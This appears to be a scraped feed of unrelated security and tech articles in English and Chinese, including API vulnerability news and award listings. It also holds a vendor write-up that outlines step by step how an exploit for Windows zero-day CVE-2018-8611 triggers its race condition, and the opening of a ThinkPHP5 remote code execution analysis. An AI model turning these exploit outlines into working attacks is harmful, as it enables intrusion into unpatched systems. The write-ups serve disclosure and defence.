Zheng has come to this perspective over a career in which he has bounced between the vendor world and the CISO’s desk. He’s worked for IBM security, as a CISO advisor for other organizations and, most recently, headed up security at Fidelity Investing. In his time there he helped guide the company’s largest business unit through a digital transformation, which shifted security from an enterprise IT function to a core business function.

“Using a software-defined model within the product development teams (DevSecOps), it was a successful shift and a tremendous win for the organization,” he said.

Nowadays Zheng works for healthcare technology company LifeOmic. He pulls double duty at the company―he still works as a CISO in this position, but he’s also more prominently the head of product for one of the firm’s SaaS product lines.

“The majority of my time and energy is spent building a security product: JupiterOne,” he said.

This latest role has further crystalized his belief that “building a product is hard,” and that security leaders can greatly jeopardize their goals to reduce risks if they’re constantly seen as blockers to the innovation process.

“Security gets the bad rap for being a necessary evil, but it doesn’t have to be,” he said. The following are three ways security leaders can start breaking away from that perception of their department.

Don’t be a ‘Control Freak’

One of the biggest pieces of advice Zheng has is to stop being a “control freak,” which starts by recognizing that not everything has to be centrally controlled.

“Decentralized controls can be a good thing, as long as you have visibility to them,” he said, noting that this has an added benefit of reducing the risk of concentrating privileges and giving attackers the chance to steal the keys to the kingdom. “Don’t create a ‘god mode’ for your attackers. Be distributed and focus on keep things simple. Be as granular as you can to create granular access and small blast radius. Rely on automation.”

Unclenching a bit also opens up great opportunities for improved processes. For example, Zheng is a big proponent of public bug bounties―if attackers are going after these flaws anyway, he noted, then why not take advantage of the power of crowds and find those flaws faster?

Most importantly, stop saying “no” so much. This is a huge perception-changer.

“Resist the urge to say ‘no’ and stop operating behind closed doors,” he said. “Once security is viewed as a blocker, your users will just find ways to get around you, giving you a false sense of security.”

Get Devs and Security Engineers Talking the Same Language

Application security is so incredibly important these days, but if CISOs are going to get a word in edgewise with developers who are elbow-deep in innovation, then they need to make sure their security team is communicating on the same plane.

“Working with developers and engineers, I’ve learned you need to speak their language. Their perspective is critical to success all around so something I think is important is put yourself in their positions―literally,” Zheng said. “Security team members need to become developers and developers need to have security responsibilities.”

This is one of the reasons why Zheng believes CISOs need to insist that security engineers learn to code. The other reason is that it can greatly help them improve security operations and automation.

“We live in a software-defined world now,” he said. “We need to learn to operate security-as-code.”

Keep User Experience Top-of-Mind

“Security and compliance are the anti-user experience,” Zheng said. “They are inherently rigid and the tools for managing and enforcing them are worse.”

The worst part about it, though, is all of this rigidity isn’t keeping the breaches at bay. The constant breach announcements on the news are an all-too-stark reminder of that. The more CISOs can do to streamline their processes and technology, making things seamless for users, the better.

“What security and compliance need to be is simple, contextual and flexible,” Zheng said. “Day-to-day security operations should be logical and straightforward.”

Read the previous article in this serieshere andhere, and more about the serieshere.

API Security Weekly: Issue #9

$
0
0
Vulnerabilities

If you are using Kubernetes, you should install a patch for it as soon as possible. There was a huge privilege escalation vulnerability that got fixed this week . The flaw allows attackers to contact Kubernetes API server using a non-privileged account and then get high-privilege operations forwarded to backend services. Even worse, the calls are not showing up in server audit logs or server logs, making the attack hard to detect.

Abraham Ingersoll from Gravitational published details here :

Attacker contacts Kubernetes API server and requests a connection to a backend server over HTTP/2 websockets. API server forwards the request to the backend server. The request is made in a way that it automatically fails. An error is returned to the attacker, but API server leaves open a connection to the backend that is authenticated with high-privilege TLS certificate of the API server itself, The attacker uses the open, authenticated connection to send requests to invoke high-privilege operations. The backend server has no reason to suspect anything out of ordinary but completes the request.
API Security Weekly: Issue #9

One of the popular security camera systems, NUUO NVRmini2 Network Video Recorder, had a serious API vulnerability reported by Digital Defense. Because string parameters were not checked for their length or sanitized, attackers could craft an overly long GET request, cause stack overflow and execute arbitrary code as root . This way, the attacker can intercept and even replace the video stream from the security cameras.

If you’re using ElasticSearch, you may expose more APIs than you are aware of. Lots of companies have lately had ElasticSearch breaches and their customer records exposed:

SKY Brasil (32 mln customer records) Atrium Health (2.65 mln) Urban Massage (300K) Brazil’s Federation of Industries of the State of So Paulo ― FIESP (millions) Data & Leads (83 mln)

The breaches happen because, by default, ElasticSearch is wide open and not secured at all. So, to avoid the breaches:

Avoid having your ElasticSearch accessible from the internet at all if you can. Enable (or install for older versions) the X-Pack security module and set secure passwords for all default accounts. Best Practices

Are you implementing your APIs in Node.js? If so, check out this brilliant list of 23 security best practices .

Kristopher Sandoval from NordicAPIs goes through the possible ways how APIs get hacked and how these could be remediated. His list of attacks includes, for example:

Reverse engineering Spoofing Man-in-the-middle Session replays Social engineering

Tsahi Levent-Levihas posted in TechTarget his 4 steps to securing your APIs . The checklist is, in a nutshell:

Authorization Audit trail Data at rest and data in motion Rate limiting Standards

The free “HTTP/3 explained” ebook from Daniel Stenberg contains some good information on the upcoming HTTP/3 protocol . In this protocol, the encrypted traffic will be based on the QUIC protocol.

Surveys

According to a recent survey by Ping Identity , security and IT professionals seem to have doubts whether the security teams of their companies are up to speed with API security:

45% lack confidence in their security team to detect malicious API access 51% are not confident their security team is aware of all APIs existing in their organization.

金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

$
0
0

2018年11月,由公安部第一研究所指导,嘶吼传媒主办的“金帽子”奖年度评选活动正式上线。活动上线后,众多企业和组织纷纷踊跃报名。随着时间的推移,该评选活动也进入到了活动的评选投票阶段。在此,嘶吼再次向大家介绍正在参与评选本届“金帽子奖”的朋友们,今天为大家展示的是年度最受关注安全应急响应中心。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

腾讯安全应急响应中心:TSRC,即腾讯安全应急响应中心,腾讯安全的先头兵,中国首个漏洞奖励平台,肩负腾讯公司安全漏洞、黑客入侵的发现和处理工作。在这个没有硝烟的战场,TSRC与两万多名安全专家并肩而行,共同捍卫全球亿万用户的信息财产安全。一直以来,我们怀揣感恩之心,努力构建更加开放的TSRC交流平台,回馈安全社区。未来,我们将继续携手安全行业精英,探索互联网安全新方向,建设互联网生态安全,共筑“互联网+”新时代;同时还将走向国际,与海外合作伙伴共建安全、健康的互联网生态环境。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

唯品会安全应急响应中心:2015年,唯品会安全应急响应中心(VSRC)正式成立,以“为用户提供更加安全公平的购物环境”为基础,将对外收纳唯品会相关安全漏洞为使命,在不断的发展中打造出全方位的自有信息安全堡垒,不断深化安全产品设计,从无到有地搭建起自有的安全风控平台。近四年来,依托VSRC的“白帽黑客”们,唯品会收纳了大量漏洞,形成了良好的软件安全开发生命周期闭环,不断保护3亿用户的购物安全。在此基础上,唯品会全新上线安全应急响应中心平台3.0,为外界提供了反馈安全风险问题通道,帮助唯品会建设更安全可靠的线上购物平台,进一步维护用户权益,同时也通过此平台加强安全研究人员间的交流。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

AFSRC:蚂蚁金服安全响应中心(AFSRC)隶属蚂蚁金服大安全。AFSRC旨在集合安全领域的专家、白帽子、社会团体及个人共同发现潜在的漏洞信息,并依此建立漏洞统计分析中心,预知并自查风险,及时修复漏洞,帮助提升自身产品及业务的安全性,同时为用户营造一个更安全的互联网生态圈。此外,蚂蚁金服安全响应中心利用大数据技术,通过对漏洞数据进行统计、评分、定级、分析,进而预知风险,提高蚂蚁金服自身的安全技术能力。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

百度安全应急响应中心:百度安全应急响应中心(BSRC)是百度致力于维护互联网健康生态环境,保障百度产品和业务线的信息安全,促进安全专家的合作与交流,而建立的收集漏洞与威胁情报的应急响应平台。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

网易安全应急响应中心:网易安全应急响应中心是网易公司面向广大用户开放的安全反馈平台,我们一直致力于保障用户信息安全,始终秉持"安全第一,用户第一"的原则,希望借此平台加强与安全业界同仁的合作,以帮助我们不断提升和完善自身产品和业务的安全性。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

饿了么安全应急响应中心:饿了么安全响应中心是用于提交饿了么公司所有信息系统存在的安全漏洞及相关情报、保障饿了么整体业务及产品安全性的平台。自成立以来,我们与众多安全专家、友商保持紧密联系,完善自我平台,回馈安全同行,秉承“将以身作则保护每一位用户的个人信息不被侵犯”的责任感,致力于守护亿万“吃货”的信息安全。期待加强同行、同仁合作交流,共同完善互联网生态安全。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

陌陌安全应急响应中心:陌陌安全应急响应中心(MMSRC,MOMO Security Response Center)是陌陌建立的安全漏洞收集及安全应急响应平台,致力于保障陌陌旗下所有产品及用户信息安全,促进陌陌与白帽子及团队的交流合作。为感谢白帽子及团队为亿万陌陌用户信息安全做出的贡献,陌陌安全应急响应中心特别设立年度百万奖金池,单漏洞或情报奖励可达万元,活动期间可获取更高奖励。于此同时,我们会不定期组织、赞助安全会议等线下活动,为广大白帽子创造线下交流沟通机会。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

瓜子安全应急响应中心:瓜子安全应急响应中心致力于维护车好多集团保障各业务线信息安全。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

360安全应急响应中心:360SRC平台于2012年上线,是中国首家向漏洞报告者提供现金奖励的厂商。作为中国网络安全领军企业,360一直秉承开放的态度,联合社会各界,为亿万互联网用户提供更加安全的产品。我们欢迎所有网络安全从业者,白帽子向我们反馈360业务漏洞,对于有效漏洞会依据漏洞奖励评估标准给予丰厚的现金奖励。对于安全,我们心存敬畏,对于360SRC平台上的安全专家,我们心存感恩之心。未来,我们将凝聚更加强大的力量共同捍卫亿万互联网用户的安全。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

安恒信息应急响应中心:安恒信息应急响应中心是专注于对全网重要网络安全漏洞、安全事件等威胁情报进行实时主动发现、快速预警、联动响应的安全应急协调中心。中心成员由丰富攻防经验的资深安全技术专家组成,联动安恒威胁情报中心,共同针对最新威胁情报主动发现,重大安全漏洞、安全事件进行深度挖掘、分析、溯源,并结合自主研发的网络空间测绘系统-「全球网络空间超级雷达」梳理全网受影响程度。第一时间通过多渠道对客户进行安全预警通知,并向国家相关部门通报,同时在相关部门的指导下,对影响面极广的漏洞对外发布安全预警和应急措施建议,为安全中国,营造健康、安全的数字化经济环境助力。


金帽子年度评选活动参选名单曝光:大众评审-年度最受关注安全应急响应中心

补天漏洞响应平台:补天漏洞响应平台成立于2013 年3月,是专注于漏洞响应的第三方公益平台。补天平台通过充分引导和培养民间的白帽力量,实现实时的、高效的漏洞挖掘与响应,守护企业网络安全,积极推动互联网安全行业的发展。面对复杂多变的网络安全态势和层出不穷的攻击手段,补天平台通过 SRC、众测等方式服务广 大企业,以安全众包的形式让白帽子从模拟攻击者的角度发现问题,解决问题,帮助企业树立动态、综合的防护理念,维护企业的网络安全。截至2018年6月,平台注册白帽子已达43,000余名,发现的漏洞数量超过26万个。被公安部、CNCERT(CNVD)、中国信息安全测评中心(CNNVD)分别评定为技术支持先进单位、漏洞信息报送突出贡献单位和一级技术支撑单位。

目前,“金帽子”奖各奖项评选已开始,12月30日前将在官网公示获奖结果,2019年1月份将举办现场颁奖盛典,为所有获奖者及公司颁发荣誉奖杯。

注:以上排名均不分先后

点击左下方"阅读原文"即可进入本活动官方网站。

人工智能技术有望成为防火墙 助力构建网络安全

$
0
0

目前青少年网络环境情况不容乐观,大量超年龄、过度娱乐、色情、暴力等内容充斥网络,对青少年健康成长造成了巨大的负面影响。

为此,各界正在积极行动,由共青团中央未来网、作业帮等机构和企业发起的全国首份《共建青少年信息安全清朗环境倡议》也因此应运而生。与此同时,不少企业还开始以人工智能技术构筑上网防火墙,营造健康清朗的青少年网络环境。


人工智能技术有望成为防火墙 助力构建网络安全
青少年网络环境不容忽视

数据显示,目前大约70%的青少年都是互联网使用者。但广大青少年使用互联网可谓“无限制”、“零门槛”。

近期,全国“扫黄打非办”开展的“护苗2018”专项行动,查处了一批“邪典”视频、低俗游戏、暴力色情信息等不良网络内容。同期,国家网信办也加大了对网络环境的净化,处理了近一万个问题自媒体账号。这些账号存在数据造假、篡改历史、抄袭洗稿、造谣、传播“负能量”等种种问题,在网络中产生的不良影响难以估量。

近期,共青团中央未来网、中国互联网协会调解中心、中国政法大学传播法研究中心、作业帮等权威机构和企业联合发起了《共建青少年信息安全清朗环境倡议》,呼吁各界共同努力,携手共建青少年成长所需的健康网络和信息环境。《中国教育报道》节目认为,此举将进一步引发各界对青少年网络环境问题的重视,有望联合更多社会力量为净化青少年网络做出贡献。

人工智能技术望成防火墙

从目前我国人工智能、大数据等前沿技术的发展情况看,这些技术已经可以运用于信息的生产、流动、交互、扩散等各个环节,能有效地识别、发现、过滤、拦截不法网络行为和不良网络信息,并对用户做出预警。

事实上,不少企业、社会机构已经开始了相关技术尝试。例如,中国移动等运营商企业,利用大数据等技术不断加强用户实名制用户审核和管理,并及时拦截不良信息;腾讯等互联网企业,利用人脸识别技术,识别青少年用户,严格执行实名制,避免青少年网络沉迷;作业帮利用人工智能等前沿技术,构建了青少年信息安全防护平台“寸功”,能在不良信息的源头建立起网络“防火墙”,构建了完整的网络信息安全体系,帮青少年抵御不良信息,免受其侵扰和影响。

探讨人工智能与网络安全

$
0
0

当前,越来越多的人工智能产品及应用,正在改变人们的生活,如何保证其便捷与安全兼备?12月11日,2018人工智能与网络安全新技术论坛在重庆举行,20多位来自国内外的专家学者就人工智能发展应用趋势,互联网、物联网中的网络安全等话题进行了深入交流。

新西兰国立理工学院教授、国际信息安全与数据分析协会主席庞韶宁认为,基于互联网和人工智能技术的产品虽然让日常生活更方便,但也在客观上带来了一定风险。“例如,小到智能家居,大到工业物联网,其基本结构都是由一个个网络节点将家居及工业的各个环节相联。理论上,节点越多,其安全风险就越高。”庞韶宁建议,在搭建工业物联网时,要提前设计好安全预案,对网络风险有足够的防范意识,从而避免因单个节点被攻破而造成整个网络瘫痪。

也有专家认为,在保障安全的基础上,人工智能技术仍将为更多的社会领域带来助力。香港中文大学教授金国庆介绍,他和团队正在进行人工智能技术在教育领域应用的探索,目前已经在该校开设面向学生的人工智能项目。下一步,他希望能把人工智能相关知识及基础应用推广到中学生群体,并为企业提供个性化的人工智能技术培训等服务。

据悉,本论坛由市科协和国际信息安全与数据分析协会联合主办,会期2天。除学术交流外,期间还将进行人才项目洽谈、科技成果转化对接等。

聚焦2018中国存储与数据峰会 紫晶存储助推行业发展

$
0
0

中国存储与数据峰会从2005年启动至今,已经连续举办了14届。2018年12月11日至12月12日,全面升级的"2018中国存储与数据峰会"在北京国际饭店召开。本次峰会由百易传媒主办,中国计算机学会、武汉国家光电研究中心、SNIA等组织协办,汇集十大主题论坛、两场CIO论坛、近百场专业知识分享。这是鲜少的高水准行业峰会,是存储厂商非常好的技术交流与资源互换的平台。来自IBM、英特尔、华为、浪潮、紫光、紫晶存储等数十家知名IT厂商及来自全球的知名学者聚焦云计算、大数据、AI等前沿科技,与会者结合自身业务需求和实际应用,共同探讨数据存储和创新、展望存储技术前景。


聚焦2018中国存储与数据峰会 紫晶存储助推行业发展

当前,我们正处在一个数据量成几何倍数增长的IT时代,数据以每年50%的速度在增长。根据IDC报告显示,预计到2020年,全球数据总量将超过44ZB。如何低成本、安全、长期保存数据是今后存储技术面临的巨大挑战。12月11日,紫晶存储董事长郑穆在峰会主论坛上以《打造“硬核”存储 构建数字化基石》为主题,围绕以介质为核心的自主可控技术,发表如何能在行业存储中摆脱同质化竞争,构建多种商业模式的演讲。


聚焦2018中国存储与数据峰会 紫晶存储助推行业发展

紫晶存储董事长郑穆

紫晶存储董事长郑穆认为:“随着国家对信息安全的重视,数据存储安全作为信息安全的重要组成部分备受关注。介质是存储领域的关键技术,在当前普及的磁、光、电存储技术中,国外公司始终把控着磁、电的核心介质,国内无法做到真正自主可控,存储安全问题面临极大的挑战。因此,从底层存储介质开始实现安全可控成为了一种刚性需求。光存储介质的安全可控,再结合软硬件产品搭建各类行业应用场景,构建多种商业模式,才能在行业的同质化竞争中,保持自身核心竞争力。”


聚焦2018中国存储与数据峰会 紫晶存储助推行业发展

紫晶存储展台

紫晶存储成立于2010年4月,是国内大数据行业拥有存储介质、存储设备、存储软件和行业解决方案的全产业链企业。此次峰会上,推出了自主研发的最新产品Zl2520和行业解决方案。紫晶存储是国内唯一拥有专业蓝光存储介质技术开发能力和生产能力的高新技术企业,所服务的客户遍布政府、教育科研、航天军工、地理信息、广电出版、医疗等行业和领域。

紫晶存储是当前国家工信部重点扶持的国产存储企业之一,作为行业领导者、国家技术标准制定者的定位已确立。2018年,紫晶存储入选国家工业强基工程、工信部存储器“一条龙”示范企业。

长远看来,自主可控是保障网络安全、信息安全的前提,紫晶存储作为行业领头羊,始终心怀担当,坚持走自主可控的道路,专注在光存储领域深耕,长期投入大量研发经费。目前,全息光存储技术是紫晶存储的研发方向,2019年,全息产品的样机即将问世。如今,紫晶存储以介质为核心,凭借自身的自主技术优势与行业解决方案越发受到业界与投资方的关注。借助2018中国存储与数据峰会的契机,紫晶存储以技术、产品与服务为载体,正在试图与更广阔的市场进行深度交流与沟通。


Midsized Businesses Need Enterprise-Sized Security

$
0
0

Though cybersecurity is not a one-size-fits-all proposition, it is also not accurate to say that smaller companies need smaller security. Osterman Research surveyed 900 security pros worldwide and found that 73 percent of midsized companies were impacted by a security threat in the preceding 12 months. Firms of this size face a similar number of attacks as larger companies do but must address them with fewer employees and resources.

This may seem like a no-win situation at first glance, but the market is responding to the changing security landscape and making some of the same tools that enterprises use available to midsized businesses.

Consider the following security challenges to a more robust cybersecurity strategy and best practices to ensure that you’re doing everything possible to keep your data and that of your customers safe.

Multiple Challenges

One challenge is the mistaken assumption that your company is too small to interest attackers. If only attackers shared that belief! They know that midmarket companies often don’t have the same financial and personnel resources for security that enterprises do, which makes your company a potentially smaller, but usually easier win for them.

Dealing with the reality of human error is another challenge. Yes, it’s good to train your employees on security best practices, but it’s even better to put a security system in place so that when an employee eventually slips up―because they will―your data is still going to be protected.

Reduced resources and workers who take on a variety of roles are additional challenges. We routinely talk to people who have to be both the CISO, responsible for mission-critical data security, and the IT operations lead, responsible for almost anything IT under the sun! Cybersecurity often gets presented in confusing or convoluted ways that are meant for larger organizations, which means legitimately useful products and services do not always get adopted and cybersecurity falls short.

Tips for Improved Security

Midmarket businesses will benefit from implementing these four best practices, which will increase data security and help decision-makers focus on solutions that provide the strongest protection.

Look for External Security Expertise

It’s helpful for IT departments with limited staff and resources to find a trusted adviser or partner who knows the security space deeply. There is a lot of conflicting information in the market, and the security landscape shifts quickly with new vulnerabilities and new threats. It is difficult to impossible to wade through this morass alone and in addition to all your other daily job duties, much less come to fully informed decisions. Look for a security adviser with a good track record of coming alongside their customers with a partnering mindset.

Make encryption standard

Authentication stands at the front line of your organization’s defense, but encryption is the last bastion of an organization. By scrambling data to make it unusable to hackers, it protects like no other security solution can because even if intruders make it past your firewall, they will find only mounds of jumbled nonsense.

Encrypting sensitive data at the source―the application that brings data into the application for the first time―is the strongest way to protect it. Additionally, ensure that only authorized applications may decrypt such data upon authorizing those using FIDO Alliance-based strong authentication.

Midsized companies have not been able to afford encryption technology until recently. The market now offers affordable solutions that make enterprise-level encryption available to smaller organizations.

Stop Relying on Passwords

Not only are passwords annoying for employees to use, remember and change, but they are also insecure. In 2017, weak or re-used passwords were responsible for more than 4 in 5 breaches.

Get Rid of Passwords but Keep Your Employees’ Sanity

Employees frequently complain about having to rely on one-time PINS sent over text, carrying an authentication device dedicated to just one service or needing to use a personal cell phone. They need solutions that enable them to do their work securely without constant frustration.

Easy, seamless online interactions have become the norm. However, convenience must be balanced with security. The FIDO Alliance and the FIDO protocols are changing the nature of authentication by using standards to replace passwords. Replacing passwords means more security, and using standards means that the same protocol can be used across many websites and applications. Currently, today, FIDO can be implemented in ways that make sense to a business―physical USB authenticators, Bluetooth, NFC and more.

Raising a Higher Standard

Your midsized company is not too small for cybercriminals’ notice. They often seek the low-hanging fruit of valuable data in an organization that likely doesn’t have enterprise-level security. With 73 percent of midsized companies suffering data breaches, it’s time to step up security measures―and this includes adding authentication and encryption to your arsenal. These tools are now available at an affordable price point and more user-friendly. Use the guidelines above as best practices to raise your security profile so that criminals will no longer find your network worth the effort.

Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611)

$
0
0
Executive summary

In October 2018, our AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in the Microsoft windows operating system. Further analysis led us to uncover a zero-day vulnerability in ntoskrnl.exe. We reported it to Microsoft on October 29, 2018. The company confirmed the vulnerability and assigned it CVE-2018-8611. Microsoft just released a patch, part of its December update, crediting Kaspersky Lab researchers Boris Larin ( Oct0xor ) and Igor Soumenkov ( 2igosha ) with the discovery.

This is the third consecutive exploited Local Privilege Escalation vulnerability in Windows we discovered this autumn using our technologies. Unlike the previously reported vulnerabilities in win32k.sys (CVE-2018-8589 andCVE-2018-8453), CVE-2018-8611 is an especially dangerous threat a vulnerability in the Kernel Transaction Manager driver. It can also be used to escape the sandbox in modern web browsers, including Chrome and Edge, since syscall filtering mitigations do not apply to ntoskrnl.exe system calls.

Just like with CVE-2018-8589, we believe this exploit is used by several threat actors including, but possibly not limited to, FruityArmor and SandCat. While FruityArmor is known to have used zero-days before, SandCat is a new APT we discovered only recently. In addition to this zero-day and CHAINSHOT, SandCat also uses the FinFisher / FinSpy framework.

Kaspersky Lab products detected this exploit proactively through the following technologies:

Behavioral detection engine and Automatic Exploit Prevention for endpoint products Advanced Sandboxing and Anti Malware engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts used in this and related attacks are:

HEUR:Exploit.Win32.Generic HEUR:Trojan.Win32.Generic PDM:Exploit.Win32.Generic Brief details CVE-2018-8611 vulnerability

CVE-2018-8611 is a race condition that is present in the Kernel Transaction Manager due to improper processing of transacted file operations in kernel mode.

This vulnerability successfully bypasses modern process mitigation policies, such as Win32k System call Filtering that is used, among others, in the Microsoft Edge Sandbox and the Win32k Lockdown Policy employed in the Google Chrome Sandbox. Combined with a compromised renderer process, for example, this vulnerability can lead to a full Remote Command Execution exploit chain in the latest state-of-the-art web-browsers.

We have found multiple builds of exploit for this vulnerability. The latest build includes changes to reflect the latest versions of the Windows OS.


Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611)

A check for the latest build at the time of discovery: Windows 10 Redstone 4 Build 17133

Similarly to CHAINSHOT, this exploit heavily relies on the use of C++ exception handling mechanisms with custom error codes.

To abuse this vulnerability exploit first creates a named pipe and opens it for read and write. Then it creates a pair of new transaction manager objects , resource manager objects , transaction objects and creates a big number of enlistment objects for what we will call “Transaction #2”. Enlistment is a special object that is used for association between a transaction and a resource manager. When the transaction state changes associated resource manager is notified by the KTM. After that it creates one more enlistment object only now it does so for “Transaction #1” and commits all the changes made during this transaction.

After all the initial preparations have been made exploit proceeds to the second part of vulnerability trigger. It creates multiple threads and binds them to a single CPU core. One of created threads calls NtQueryInformationResourceManager in a loop, while second thread tries to execute NtRecoverResourceManager once. But the vulnerability itself is triggered in the third thread. This thread uses a trick of execution NtQueryInformationThread to obtain information on the latest executed syscall for the second thread. Successful execution of NtRecoverResourceManager will mean that race condition has occurred and further execution of WriteFile on previously created named pipe will lead to memory corruption.


Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611)

Proof of concept: execution of WriteFile with buffer set to 0x41

As always, we provided Microsoft with a proof of concept for this vulnerability, along with source code. And it was later shared through Microsoft Active Protections Program ( MAPP ).

More information about SandCat, FruityArmor and CVE-2018-8611 is available to customers of Kaspersky Intelligence Reports. Contact: intelreports@kaspersky.com

Taking notes with Standard Notes

$
0
0

Online note-taking tools seem to have bloomed like 100 flowers . The tallest ones in that garden are usually proprietary, closed source applications like Evernote, Zoho Notebook, Google Keep, and Notion.

There are a number of simpler, open source alternatives to proprietary note-taking applications. One of the newer ones on the block is Standard Notes . Standard Notes was brought to my attention a while back by its developer, Mo Bitar. I've been using Standard Notes for almost a year, and it does a great job of organizing my information.

Getting started

Standard Notes is open source. That means if you have the technical know-how, you can grab the building blocks of the application and modify them. Or you can just install it on your own server.

That might work for you, but I'm not an uber techie. Or a techie of any stripe. So, I took the easy route and registered for the hosted version of Standard Notes. It's free, although you can get a paid account that gives you access to a number of extensions that beef up Standard Notes.

Whether you've installed Standard Notes or signed up for a hosted account, you see three panes when you log in:

Tags: lists tags you've added to your notes All notes: lists your notes with the newest at top Editor: where you type your notes standard-notes-basic.png
Taking notes with Standard Notes

The interface is plain, but it is functional.

Working with notes

Click the + icon in the All notes pane to create a new note. Give your note a title, (optionally) add a tag to the note (more on this in a moment), and start typing. Simple, no?

standard-notes-wip.png
Taking notes with Standard Notes

Out of the box, Standard Notes is plaintext-only. No images, no formatting, no tables, nor anything like that. You can add markup to your notes (using, say, Markdown or HTML), but you don't get syntax highlighting or a preview.

You can enter anything into Standard Notes that you would put into another note-taking tool or text editor:

Point-form notes Draft blog posts Longer pieces of writing Schedules Journal entries Work logs Task lists Plaintext templates Organizing your notes

Unlike Evernote and some other note-taking tools, out of the box Standard Notes doesn't have a way to organize notes in folders. Your notes are in a long (assuming you have a lot of notes) list in the All notes pane. Instead, you can use tags to organize your notes.

You can add tags to a note by typing in the field below the note's title.

standard-notes-tags.png
Taking notes with Standard Notes

When you want to filter your notes, click the tag in the Tags pane. Only the notes with that tag will appear in the All notes pane.

Importing and backing up your notes

You might be coming to Standard Notes from Evernote. Or, you might have plaintext notes scattered across various devices. How do you get them into the app? Use the import conversion tool , which converts Evernote or plaintext files to a plaintext data format called JSON . Once you've converted your notes, import them by selecting Account > Import from backup .

The import tool has a couple of limitations. You can only import one file at a time. That can be cumbersome if you have a large number of notes. If you're moving to Standard Notes from Evernote, you'll lose formatting, images, and attachments.

If you want to get your notes out of Standard Notes―either because you want a copy of them to archive or you want to leave Standard Notes―select Account and choose either:

Encrypted , which saves all your notes in a single, encrypted JSON file that you can import back into Standard Notes, or Decrypted , which converts all your notes to text files and compresses them into a ZIP file. Security

While it has little to do with taking notes, one of Standard Notes' selling points is privacy and security. The application says it is "100% private. Your notes are encrypted and secured so only you can decrypt them. No one but you can read your notes (not even us)."

Learn more about how Standard Notes secures your notes . I'll embrace my naivete and state that I don't think the developer will do a 180 on either the privacy or security pledges. I hope he doesn't prove me wrong ...

Final thoughts

Standard Notes is simple and it's flexible. That it embraces the plaintext ethos and is open source are the two main reasons I started using it and continue to use it.

Several paragraphs back, I mentioned that you get a lot more with a paid account―these include themes, editors that render markup, desktop extensions, and options to create folders, as you can below.

standard-notes-my-setup.png
Taking notes with Standard Notes

It's up to you to decide whether those features are important to you, but subscribing helps keep the service afloat and development chugging along.

Standard Notes gives me both the simplicity and flexibility of Simplenote andLaverna (another favorite notetaking tool)―so much so that I've moved my notes in Laverna over to Standard Notes. As an online note-taking tool for the plaintext junkie, you can't do much better than Standard Notes.

This article was originally published, in a slightly different format, at The Plain Text Project and appears here via a Creative Commons Attribution 4.0 International License .

Blog Review: Dec. 12

$
0
0

Mentor’s Harry Foster checks out how much time and effort is spent on verification of FPGAs and points to the increasing demand for verification engineers.

Cadence’s Paul McLellan digs into IC Insights’ year-end report to see how some of the top semiconductor companies stack up.

Synopsys’ Taylor Armerding warns that air gaps, a valuable barrier against cyberattacks, are disappearing from industrial control systems and considers what that means for the global shipping industry.

UltraSoC’s Gadge Panesar looks at using RISC-V alongside Arm cores and argues for heterogeneous architectural and modeling exploration systems and the importance of open APIs.

GlobalFoundries’ Dave Lammers checks out the effort to come up with new, less power-hungry devices for neuromorphic computing and why advanced packaging will play a key role.

PDF Solutions’ Dave Huntley contends that traceability throughout the supply chain, even for component parts, is necessary for security and anti-counterfeiting with the introduction of a proposed new standard for a common traceability scheme.

A Rambus writer takes a look at the differences between GDDR6 and HBM2 and how that impacts system design.

Arm’s Jason Andrews provides a walkthrough of how to set up Arm’s Development Studio and connect to a custom Fast Model simulation for early software debugging.

ANSYS’ Shawn Wasserman points out a new design for offshore wind turbines that could be cheaper to deploy and easier to install and maintain than traditional designs.

And don’t miss the blogs featured in the latest IoT, Security & Automotive and Packaging, Test & Materials newsletters:

Editor In ChiefEd Sperling contends that making sense of technology directions requires a different starting point.

Mentor’sAndrew Macleod explains why autonomous vehicles shouldn’t be considered in isolation.

Synopsys’Mike Borza shows how a hardware Root of Trust can thwart attacks on ever more complex vehicles.

Achronix’sAlok Sanghavi looks at why processing data from multiple cameras in real time is a challenge for surround-view systems.

Flex Logix’sGeoff Tate examines how to beat latency in neural networks while retaining high hardware utilization.

Marvell’sSree Durbha zeroes in on why pushing intelligence into everyday things means demand for low power, cost-sensitive designs.

Editor in ChiefEd Sperling finds the normally quiet test segment is suddenly boiling over with challenges.

Advantest’sJudy Davies examines the good and bad of using technology to modify what we eat.

Rambus’Nisha Amthul points out the best practices for protecting personal assets from cyber criminals.

Arm’sSuresh Marisetty explains how to build a security plan and put it into action.

ThinkPHP5 远程代码执行漏洞分析

$
0
0
作者:启明星辰ADLab
公众号: ADLab 漏洞介绍

2018年12月9日,Thinkphp团队发布了一个补丁更新,修复了一处由于路由解析缺陷导致的代码执行漏洞。该漏洞危害程度非常高,默认环境配置即可导致远程代码执行。经过启明星辰ADLab安全研究员对ThinkPHP的56个小版本的源码分析和验证,确定具体受影响的版本为:

ThinkPHP 5.0.5-5.0.22 ThinkPHP 5.1.0-5.1.30 漏洞复现

本地环境采用ThinkPHP 5.1.29+PHP7+Apache进行复现。安装环境后直接访问POC给定的URL即可执行phpinfo(),如图所示:


ThinkPHP5 远程代码执行漏洞分析
漏洞分析

以5.1.29版本进行分析,首先看取路由的函数pathinfo:

library/think/Request.php:678

